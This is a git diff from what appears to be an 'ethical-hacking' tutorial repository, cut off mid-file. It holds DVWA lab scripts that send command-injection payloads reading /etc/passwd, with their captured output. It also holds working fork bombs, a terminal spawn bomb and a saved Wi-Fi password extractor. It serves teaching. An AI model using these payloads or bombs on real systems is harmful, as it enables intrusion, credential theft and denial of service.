end of file diff --git a/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py new file mode 100644 index 00000000..794c1860 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py @@ -0,0 +1,41 @@ +import docx # Import the docx library for working with Word documents. +from pprint import pprint # Import the pprint function for pretty printing. + +def extract_metadata(docx_file): + doc = docx.Document(docx_file) # Create a Document object from the Word document file. + core_properties = doc.core_properties # Get the core properties of the document. + + metadata = {} # Initialize an empty dictionary to store metadata + + # Extract core properties + for prop in dir(core_properties): # Iterate over all properties of the core_properties object. + if prop.startswith('__'): # Skip properties starting with double underscores (e.g., __elenent). Not needed + continue + value = getattr(core_properties, prop) # Get the value of the property. + if callable(value): # Skip callable properties (methods). + continue + if prop == 'created' or prop == 'modified' or prop == 'last_printed': # Check for datetime properties. + if value: + value = value.strftime('%Y-%m-%d %H:%M:%S') # Convert datetime to string format. + else: + value = None + metadata[prop] = value # Store the property and its value in the metadata dictionary. + + # Extract custom properties (if available). + try: + custom_properties = core_properties.custom_properties # Get the custom properties (if available). + if custom_properties: # Check if custom properties exist. + metadata['custom_properties'] = {} # Initialize a dictionary to store custom properties. + for prop in custom_properties: # Iterate over custom properties. + metadata['custom_properties'][prop.name] = prop.value # Store the custom property name and value. + except AttributeError: + # Custom properties not available in this version. + pass # Skip custom properties extraction if the attribute is not available. + + return metadata # Return the metadata dictionary. + + + +docx_path = 'test.docx' # Path to the Word document file. +metadata = extract_metadata(docx_path) # Call the extract_metadata function. +pprint(metadata) # Pretty print the metadata dictionary. \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/requirements.txt b/ethical-hacking/docx-metadata-extractor/requirements.txt new file mode 100644 index 00000000..31245b28 --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/requirements.txt @@ -0,0 +1 @@ +python-docx \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/test.docx b/ethical-hacking/docx-metadata-extractor/test.docx new file mode 100644 index 00000000..5bff270e Binary files /dev/null and b/ethical-hacking/docx-metadata-extractor/test.docx differ diff --git a/ethical-hacking/exploit-command-injection/README.md b/ethical-hacking/exploit-command-injection/README.md new file mode 100644 index 00000000..c0f69d8c --- /dev/null +++ b/ethical-hacking/exploit-command-injection/README.md @@ -0,0 +1 @@ +# [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner.py b/ethical-hacking/exploit-command-injection/command_injection_scanner.py new file mode 100644 index 00000000..7a6b6333 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner.py @@ -0,0 +1,58 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payload. +payload = "127.0.0.1 | cat /etc/passwd" + + +def check_command_injection(base_url, login_url, login_data, vuln_page_url): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application (DVWA). + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + # Send the payload through the form. + form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"[!] Payload used: {payload}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print("\n[!] Please inspect the response to determine if the parameter is vulnerable to command injection.\n") + + # Write the response to a text file. + with open("response.txt", "w") as f: + f.write(response.text) + print("[+] Response written to response.txt") + except Exception as e: + print(f"[-] Error occurred while testing payload '{payload}': {e}") + + print("[+] Command injection testing completed.\n") + + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py new file mode 100644 index 00000000..5d78469d --- /dev/null +++ b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py @@ -0,0 +1,75 @@ +# Import the necessary libraries. +import requests +from urllib.parse import urljoin +from colorama import Fore, Style, init + +# Initialise colorama. +init() + + +# Define the target URL and login credentials. +target_url = "http://192.168.134.129/dvwa/" +login_url = urljoin(target_url, "login.php") +login_data = { + "username": "admin", + "password": "password", + "Login": "Login" +} + +# Define the vulnerable page URL. +vuln_page_url = urljoin(target_url, "vulnerabilities/exec/") + +# Define the test payloads. +payloads = [ + "ls | whoami", + "127.0.0.1 | cat /etc/passwd", + "127.0.0.1 | ls -la" +] + +def check_command_injection(base_url, login_url, login_data, vuln_page_url, payloads): + print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}") + + # Authenticate with the application. + session = requests.Session() + response = session.post(login_url, data=login_data) + + if "Login failed" in response.text: + print("[-] Authentication failed. Please check the credentials.") + return + + responses = "" + + for payload in payloads: + # Send the payload through the form. + form_data = { + "ip": payload, + "submit": "Submit" + } + + try: + response = session.post(vuln_page_url, data=form_data) + print(f"{Fore.GREEN}[!] Payload used: {payload}{Style.RESET_ALL}") + print("[+] Response after command injection:\n") + print("=" * 80) + print(response.text) + print("=" * 80) + print(f"\n{Fore.YELLOW}[!] Please manually inspect the response to determine if the parameter is vulnerable to command injection.{Style.RESET_ALL}\n") + + responses += f"[!] Payload used: {payload}\n" + responses += "[+] Response after command injection:\n" + responses += "=" * 80 + "\n" + responses += response.text + responses += "=" * 80 + "\n\n" + except Exception as e: + print(f"{Fore.RED}[-] Error occurred while testing payload '{payload}': {e}{Style.RESET_ALL}") + responses += f"[-] Error occurred while testing payload '{payload}': {e}\n" + + # Write the responses to a text file. + with open("multiple_payload_response.txt", "w") as f: + f.write(responses) + print("[+] Responses written to response.txt") + + print("[+] Command injection testing completed.\n") + +# Call the function with the required parameters. +check_command_injection(target_url, login_url, login_data, vuln_page_url, payloads) \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/multiple_payload_response.txt b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt new file mode 100644 index 00000000..c87a195e --- /dev/null +++ b/ethical-hacking/exploit-command-injection/multiple_payload_response.txt @@ -0,0 +1,316 @@ +[!] Payload used: ls | whoami +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ + 
www-data
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | cat /etc/passwd +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ + 
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + +[!] Payload used: 127.0.0.1 | ls -la +[+] Response after command injection: +================================================================================ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ + 
total 20
+drwxr-xr-x  4 www-data www-data 4096 May 20  2012 .
+drwxr-xr-x 11 www-data www-data 4096 May 20  2012 ..
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 help
+-rw-r--r--  1 www-data www-data 1509 Mar 16  2010 index.php
+drwxr-xr-x  2 www-data www-data 4096 May 20  2012 source
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + +================================================================================ + diff --git a/ethical-hacking/exploit-command-injection/requirements.txt b/ethical-hacking/exploit-command-injection/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/exploit-command-injection/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/exploit-command-injection/response.txt b/ethical-hacking/exploit-command-injection/response.txt new file mode 100644 index 00000000..3e46a5db --- /dev/null +++ b/ethical-hacking/exploit-command-injection/response.txt @@ -0,0 +1,123 @@ + + + + + + + + + Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Brute Force + + + + + + + + + + +
+ + + + + +
+ + +
+

Vulnerability: Command Execution

+ +
+ +

Ping for FREE

+ +

Enter an IP address below:

+
+ + +
+ + 
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/sh
+backup:x:34:34:backup:/var/backups:/bin/sh
+list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+dhcp:x:101:102::/nonexistent:/bin/false
+syslog:x:102:103::/home/syslog:/bin/false
+klog:x:103:104::/home/klog:/bin/false
+sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
+msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
+bind:x:105:113::/var/cache/bind:/bin/false
+postfix:x:106:115::/var/spool/postfix:/bin/false
+ftp:x:107:65534::/home/ftp:/bin/false
+postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
+tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
+distccd:x:111:65534::/:/bin/false
+user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
+service:x:1002:1002:,,,:/home/service:/bin/bash
+telnetd:x:112:120::/nonexistent:/bin/false
+proftpd:x:113:65534::/var/run/proftpd:/bin/false
+statd:x:114:65534::/var/lib/nfs:/bin/false
+
+ +
+ +

More info

+ +
+ +
+
+ + +
+ +
+
+ +
+
Username: admin
Security Level: medium
PHPIDS: disabled
+
+ + + +
+ + + + \ No newline at end of file diff --git a/ethical-hacking/fake-user-data-generator/README.md b/ethical-hacking/fake-user-data-generator/README.md new file mode 100644 index 00000000..3e304d15 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/README.md @@ -0,0 +1 @@ +# [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python) \ No newline at end of file diff --git a/ethical-hacking/fake-user-data-generator/fake_data.py b/ethical-hacking/fake-user-data-generator/fake_data.py new file mode 100644 index 00000000..021cbd72 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/fake_data.py @@ -0,0 +1,124 @@ +# Import necessary libraries and modules. +from faker import Faker +from faker.providers import internet +import csv + + +# Function to generate user data with the specified number of users. +def generate_user_data(num_of_users): + # Create a Faker instance. + fake = Faker() + # Add the Internet provider to generate email addresses and IP addresses. + fake.add_provider(internet) + + # Initialize an empty list to store user data. + user_data = [] + # Loop to generate data for the specified number of users. + for _ in range(num_of_users): + # Create a dictionary representing a user with various attributes. + user = { + 'Name': fake.name(), + 'Email': fake.free_email(), + 'Phone Number': fake.phone_number(), + 'Birthdate': fake.date_of_birth(), + 'Address': fake.address(), + 'City': fake.city(), + 'Country': fake.country(), + 'ZIP Code': fake.zipcode(), + 'Job Title': fake.job(), + 'Company': fake.company(), + 'IP Address': fake.ipv4_private(), + 'Credit Card Number': fake.credit_card_number(), + 'Username': fake.user_name(), + 'Website': fake.url(), + 'SSN': fake.ssn() + } + # Append the user data dictionary to the user_data list. + user_data.append(user) + + # Return the list of generated user data. + return user_data + + +# Function to save user data to a CSV file. +def save_to_csv(data, filename): + # Get the keys (column names) from the first dictionary in the data list. + keys = data[0].keys() + # Open the CSV file for writing. + with open(filename, 'w', newline='') as output_file: + # Create a CSV writer with the specified column names. + writer = csv.DictWriter(output_file, fieldnames=keys) + # Write the header row to the CSV file. + writer.writeheader() + # Iterate through each user dictionary and write a row to the CSV file. + for user in data: + writer.writerow(user) + # Print a success message indicating that the data has been saved to the file. + print(f'[+] Data saved to {filename} successfully.') + + +# Function to save user data to a text file. +def save_to_text(data, filename): + # Open the text file for writing. + with open(filename, 'w') as output_file: + # Iterate through each user dictionary. + for user in data: + # Iterate through key-value pairs in the user dictionary and write to the text file. + for key, value in user.items(): + output_file.write(f"{key}: {value}\n") + # Add a newline between users in the text file. + output_file.write('\n') + # Print a success message indicating that the data has been saved to the file. + print(f'[+] Data saved to {filename} successfully.') + + +# Function to print user data vertically. +def print_data_vertically(data): + # Iterate through each user dictionary in the data list. + for user in data: + # Iterate through key-value pairs in the user dictionary and print vertically. + for key, value in user.items(): + print(f"{key}: {value}") + # Add a newline between users. + print() + + +# Get the number of users from user input. +number_of_users = int(input("[!] Enter the number of users to generate: ")) +# Generate user data using the specified number of users. +user_data = generate_user_data(number_of_users) + +# Ask the user if they want to save the data to a file. +save_option = input("[?] Do you want to save the data to a file? (yes/no): ").lower() + +# If the user chooses to save the data. +if save_option == 'yes': + # Ask the user for the file type (CSV, TXT, or both). + file_type = input("[!] Enter file type (csv/txt/both): ").lower() + + # Save to CSV if the user chose CSV or both. + if file_type == 'csv' or file_type == 'both': + # Ask the user for the CSV filename. + custom_filename_csv = input("[!] Enter the CSV filename (without extension): ") + # Concatenate the filename with the .csv extension. + filename_csv = f"{custom_filename_csv}.csv" + # Call the save_to_csv function to save the data to the CSV file. + save_to_csv(user_data, filename_csv) + + # Save to TXT if the user chose TXT or both. + if file_type == 'txt' or file_type == 'both': + # Ask the user for the TXT filename. + custom_filename_txt = input("[!] Enter the TXT filename (without extension): ") + # Concatenate the filename with the .txt extension. + filename_txt = f"{custom_filename_txt}.txt" + # Call the save_to_text function to save the data to the text file. + save_to_text(user_data, filename_txt) + + # If the user entered an invalid file type. + if file_type not in ['csv', 'txt', 'both']: + # Print an error message indicating that the file type is invalid. + print("[-] Invalid file type. Data not saved.") +# If the user chose not to save the data, print it vertically. +else: + # Call the print_data_vertically function to print the data vertically. + print_data_vertically(user_data) diff --git a/ethical-hacking/fake-user-data-generator/requirements.txt b/ethical-hacking/fake-user-data-generator/requirements.txt new file mode 100644 index 00000000..ea45cd03 --- /dev/null +++ b/ethical-hacking/fake-user-data-generator/requirements.txt @@ -0,0 +1 @@ +Faker \ No newline at end of file diff --git a/ethical-hacking/file-encryption/crypt_password.py b/ethical-hacking/file-encryption/crypt_password.py new file mode 100644 index 00000000..40e6ffd1 --- /dev/null +++ b/ethical-hacking/file-encryption/crypt_password.py @@ -0,0 +1,124 @@ +import cryptography +from cryptography.fernet import Fernet +from cryptography.hazmat.primitives.kdf.scrypt import Scrypt + +import secrets +import base64 +import getpass + + +def generate_salt(size=16): + """Generate the salt used for key derivation, + `size` is the length of the salt to generate""" + return secrets.token_bytes(size) + + +def derive_key(salt, password): + """Derive the key from the `password` using the passed `salt`""" + kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) + return kdf.derive(password.encode()) + + +def load_salt(): + # load salt from salt.salt file + return open("salt.salt", "rb").read() + + +def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True): + """ + Generates a key from a `password` and the salt. + If `load_existing_salt` is True, it'll load the salt from a file + in the current directory called "salt.salt". + If `save_salt` is True, then it will generate a new salt + and save it to "salt.salt" + """ + if load_existing_salt: + # load existing salt + salt = load_salt() + elif save_salt: + # generate new salt and save it + salt = generate_salt(salt_size) + with open("salt.salt", "wb") as salt_file: + salt_file.write(salt) + # generate the key from the salt and the password + derived_key = derive_key(salt, password) + # encode it using Base 64 and return it + return base64.urlsafe_b64encode(derived_key) + + +def encrypt(filename, key): + """ + Given a filename (str) and key (bytes), it encrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read all file data + file_data = file.read() + # encrypt data + encrypted_data = f.encrypt(file_data) + # write the encrypted file + with open(filename, "wb") as file: + file.write(encrypted_data) + + +def decrypt(filename, key): + """ + Given a filename (str) and key (bytes), it decrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read the encrypted data + encrypted_data = file.read() + # decrypt data + try: + decrypted_data = f.decrypt(encrypted_data) + except cryptography.fernet.InvalidToken: + print("Invalid token, most likely the password is incorrect") + return + # write the original file + with open(filename, "wb") as file: + file.write(decrypted_data) + print("File decrypted successfully") + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="File Encryptor Script with a Password") + parser.add_argument("file", help="File to encrypt/decrypt") + parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated", + type=int) + parser.add_argument("-e", "--encrypt", action="https://github.com/store_true", + help="Whether to encrypt the file, only -e or -d can be specified.") + parser.add_argument("-d", "--decrypt", action="https://github.com/store_true", + help="Whether to decrypt the file, only -e or -d can be specified.") + + args = parser.parse_args() + file = args.file + + if args.encrypt: + password = getpass.getpass("Enter the password for encryption: ") + elif args.decrypt: + password = getpass.getpass("Enter the password you used for encryption: ") + + if args.salt_size: + key = generate_key(password, salt_size=args.salt_size, save_salt=True) + else: + key = generate_key(password, load_existing_salt=True) + + encrypt_ = args.encrypt + decrypt_ = args.decrypt + + if encrypt_ and decrypt_: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + elif encrypt_: + encrypt(file, key) + elif decrypt_: + decrypt(file, key) + else: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + + + + + + diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/README.md b/ethical-hacking/find-past-wifi-connections-on-windows/README.md new file mode 100644 index 00000000..614b160a --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/README.md @@ -0,0 +1 @@ +# [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python) \ No newline at end of file diff --git a/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py new file mode 100644 index 00000000..c362aa9c --- /dev/null +++ b/ethical-hacking/find-past-wifi-connections-on-windows/win_reg.py @@ -0,0 +1,39 @@ +import winreg # Import registry module. + +def val2addr(val): # Convert value to address format. + addr = '' # Initialize address. + try: + for ch in val: # Loop through value characters. + addr += '%02x ' % ch # Convert each character to hexadecimal. + addr = addr.strip(' ').replace(' ', ':')[0:17] # Format address. + except: + return "N/A" # Return N/A if error occurs. + return addr # Return formatted address. + + +def printNets(): # Print network information. + net = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged" # Registry key for network info. + key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, net) # Open registry key. + print('\n[*] Networks You have Joined:') # Print header. + for i in range(100): # Loop through possible network keys. + try: + guid = winreg.EnumKey(key, i) # Get network key. + netKey = winreg.OpenKey(key, guid) # Open network key. + try: + n, addr, t = winreg.EnumValue(netKey, 5) # Get MAC address. + n, name, t = winreg.EnumValue(netKey, 4) # Get network name. + if addr: + macAddr = val2addr(addr) # Convert MAC address. + else: + macAddr = 'N/A' + netName = str(name) # Convert network name to string. + print(f'[+] {netName} ----> {macAddr}') # Print network info. + except WindowsError: # Handle errors. + pass # Continue loop. + winreg.CloseKey(netKey) # Close network key. + except WindowsError: # Handle errors. + break # Exit loop. + winreg.CloseKey(key) # Close registry key. + + +printNets() # Call printNets function. diff --git a/ethical-hacking/fork-bomb/README.md b/ethical-hacking/fork-bomb/README.md new file mode 100644 index 00000000..be4ecf37 --- /dev/null +++ b/ethical-hacking/fork-bomb/README.md @@ -0,0 +1 @@ +# [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb.py b/ethical-hacking/fork-bomb/fork_bomb.py new file mode 100644 index 00000000..672e7ed1 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb.py @@ -0,0 +1,45 @@ +"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb.""" +# Import necessary modules. +from multiprocessing import Process, cpu_count +import time + +# Define a function named counter that takes a number parameter. +def counter(number): + # Run a loop until number reaches 0. + while number > 0: + number -= 1 + # Introduce a sleep of 100 ms to intentionally slow down the loop. + time.sleep(0.1) # Adjust sleep time as needed to make it slower. + + +def spawn_processes(num_processes): + # Create a list of Process instances, each targeting the counter function. + processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)] + # Start each process. + for process in processes: + process.start() + print(f"Started process {process.pid}.") + # Wait for each process to finish before moving on. + for process in processes: + process.join() + print(f"Process {process.pid} has finished.") + +# Define the main function. +def main(): + # Get the number of logical processors on the system. + num_processors = cpu_count() + # Create a large number of processes (num_processors * 200). + num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed. + print(f"Number of logical processors: {num_processors}") + print(f"Creating {num_processes} processes.") + print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.") + # Run an infinite loop if you want. + # while True: + # spawn_processes(num_processes) + # For demonstration purposes, run the function once and monitor the task manager. + spawn_processes(num_processes) + + +# Execute the main function. +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/fork_bomb_simplest.py b/ethical-hacking/fork-bomb/fork_bomb_simplest.py new file mode 100644 index 00000000..69abe8b8 --- /dev/null +++ b/ethical-hacking/fork-bomb/fork_bomb_simplest.py @@ -0,0 +1,9 @@ +"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork(). +It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system. +Be careful when running this code.""" +import os +# import time + +while True: + os.fork() + # time.sleep(0.5) \ No newline at end of file diff --git a/ethical-hacking/fork-bomb/terminal_spawn_bomb.py b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py new file mode 100644 index 00000000..8f03e615 --- /dev/null +++ b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py @@ -0,0 +1,38 @@ +"""A terminal spawn bomb that infinitely opens a new terminal window on the host system. +Be careful when running this script, as it overwhelms the system with terminal windows. +The time.sleep() is introduced to test the script.""" +import os +import subprocess +import time + +# List of common terminal emulators +terminal_emulators = [ + "gnome-terminal", # GNOME + "konsole", # KDE + "xfce4-terminal", # XFCE + "lxterminal", # LXDE + "mate-terminal", # MATE + "terminator", + "xterm", + "urxvt" +] + +def open_terminal(): + for emulator in terminal_emulators: + try: + if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0: + os.system(f"{emulator} &") + return True + except Exception as e: + continue + print("No known terminal emulator found!") + return False + +while True: + if os.name == "nt": + os.system("start cmd") + else: + if not open_terminal(): + break # Break the loop if no terminal emulator is found + # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script. + time.sleep(0.5) # Adjust sleep time as needed to make it slower. diff --git a/ethical-hacking/geolocating-ip-addresses/README.md b/ethical-hacking/geolocating-ip-addresses/README.md new file mode 100644 index 00000000..afa92e69 --- /dev/null +++ b/ethical-hacking/geolocating-ip-addresses/README.md @@ -0,0 +1 @@ +# [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python) \ No newline at end of file diff --git a/ethical-hacking/geolocating-ip-addresses/get_ip_info.py b/ethical-hacking/geolocating-ip-addresses/get_ip_info.py new file mode 100644 index 00000000..84873667 --- /dev/null +++ b/ethical-hacking/geolocating-ip-addresses/get_ip_info.py @@ -0,0 +1,16 @@ +import ipinfo +import sys +# get the ip address from the command line +try: + ip_address = sys.argv[1] +except IndexError: + ip_address = None +# access token for ipinfo.io +access_token = '' +# create a client object with the access token +handler = ipinfo.getHandler(access_token) +# get the ip info +details = handler.getDetails(ip_address) +# print the ip info +for key, value in details.all.items(): + print(f"{key}: {value}") \ No newline at end of file diff --git a/ethical-hacking/geolocating-ip-addresses/requirements.txt b/ethical-hacking/geolocating-ip-addresses/requirements.txt new file mode 100644 index 00000000..aaac82cc --- /dev/null +++ b/ethical-hacking/geolocating-ip-addresses/requirements.txt @@ -0,0 +1 @@ +ipinfo \ No newline at end of file diff --git a/ethical-hacking/get-wifi-passwords/README.md b/ethical-hacking/get-wifi-passwords/README.md new file mode 100644 index 00000000..a10efc10 --- /dev/null +++ b/ethical-hacking/get-wifi-passwords/README.md @@ -0,0 +1,3 @@ +# [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python) + +This program lists saved Wi-Fi networks and their passwords on Windows and Linux machines. In addition to the SSID (Wi-Fi network name) and passwords, the output also shows the network’s security type and ciphers. \ No newline at end of file diff --git a/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py new file mode 100644 index 00000000..ff32f6f8 --- /dev/null +++ b/ethical-hacking/get-wifi-passwords/get_wifi_passwords.py @@ -0,0 +1,121 @@ +import subprocess +import os +import re +from collections import namedtuple +import configparser + + +def get_windows_saved_ssids(): + """Returns a list of saved SSIDs in a Windows machine using netsh command""" + # get all saved profiles in the PC + output = subprocess.check_output("netsh wlan show profiles").decode() + ssids = [] + profiles = re.findall(r"All User Profile\s(.*)", output) + for profile in profiles: + # for each SSID, remove spaces and colon + ssid = profile.strip().strip(":").strip() + # add to the list + ssids.append(ssid) + return ssids + + +def get_windows_saved_wifi_passwords(verbose=1): + """Extracts saved Wi-Fi passwords saved in a Windows machine, this function extracts data using netsh + command in Windows + Args: + verbose (int, optional): whether to print saved profiles real-time. Defaults to 1. + Returns: + [list]: list of extracted profiles, a profile has the fields ["ssid", "ciphers", "key"] + """ + ssids = get_windows_saved_ssids() + Profile = namedtuple("Profile", ["ssid", "security", "ciphers", "key"]) + profiles = [] + for ssid in ssids: + ssid_details = subprocess.check_output(f"""netsh wlan show profile "{ssid}" key=clear""").decode() + + #get the security type + security = re.findall(r"Authentication\s(.*)", ssid_details) + # clear spaces and colon + security = "/".join(dict.fromkeys(c.strip().strip(":").strip() for c in security)) + + # get the ciphers + ciphers = re.findall(r"Cipher\s(.*)", ssid_details) + # clear spaces and colon + ciphers = "/".join([c.strip().strip(":").strip() for c in ciphers]) + # get the Wi-Fi password + key = re.findall(r"Key Content\s(.*)", ssid_details) + # clear spaces and colon + try: + key = key[0].strip().strip(":").strip() + except IndexError: + key = "None" + profile = Profile(ssid=ssid, security=security, ciphers=ciphers, key=key) + if verbose >= 1: + print_windows_profile(profile) + profiles.append(profile) + return profiles + + +def print_windows_profile(profile): + """Prints a single profile 